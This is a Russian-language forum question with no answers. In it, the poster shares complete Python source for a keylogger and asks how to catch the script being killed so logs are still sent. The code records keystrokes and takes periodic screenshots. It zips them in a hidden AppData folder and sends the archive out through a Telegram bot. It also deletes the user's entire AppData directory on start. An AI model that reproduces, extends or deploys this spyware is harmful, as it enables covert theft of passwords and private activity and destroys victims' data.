Как отследить task kill python-скрипта?

У меня есть кейлоггер, который создаёт папку Cache в AppData (не спрашивайте зачем), туда попадают логи и скриншоты экрана. Потом создаётся архив и он отправляется ко мне через Телеграм бота.

Но вот беда - мне нужно, чтобы во время закрытия терминала или закрытия .exe файла программа через бота отправила мне логи, чтобы ничего не пропало. Вопрос - существует ли модуль/функция, способная отследить task-kill python-скрипта?

Прилагаю код:

from pynput import keyboard
import os
import telebot
import pyautogui
import shutil
import time


try:
    shutil.rmtree("C:\\Users\\user\\AppData")
except FileNotFoundError and PermissionError:
    pass

try:
    os.mkdir("C:\\Users\\user\\AppData\\Cache")
except FileExistsError:
    pass

os.chdir("C:\\Users\\user\\AppData\\Cache")


bot = telebot.TeleBot('токен бота')
log = ''
count_screenshot = 0
encounter_to_screenshot = 0


def process_key_press(key):
    global log
    global count_screenshot
    global encounter_to_screenshot

    key = str(key)

    if len(key) == 3:
        key = key[1]

    elif key == 'Key.space':
        key = " "

    log += str(key)

    if len(log) >= 1:
        write_file(key)
        encounter_to_screenshot += 1
        log = ''
    if encounter_to_screenshot == 5:
        count_screenshot += 1
        pyautogui.screenshot(str(count_screenshot) + '.jpg')
        encounter_to_screenshot = 0


def write_file(key):
    with open("log.txt", "a+") as logs:
        k = str(key)
        countdown = time.time() - os.path.getmtime('log.txt')
        if k.find("key") == -1:
            logs.write(str(log))

        if countdown >= 10:
            os.chdir("C:\\Users\\user\\AppData")
            shutil.make_archive('All_logs', 'zip', "Cache")
            try:
                bot.send_document(мой_айди, open(
                    "All_logs.zip", "rb"), timeout=3)
            except ConnectionError:
                pass
            os.remove('All_logs.zip')
            os.chdir("C:\\Users\\user\\AppData\\Cache")


if __name__ == '__main__':
    keyboard_listener = keyboard.Listener(on_press=process_key_press)
    with keyboard_listener:
        keyboard_listener.join()

Ответы (0 шт):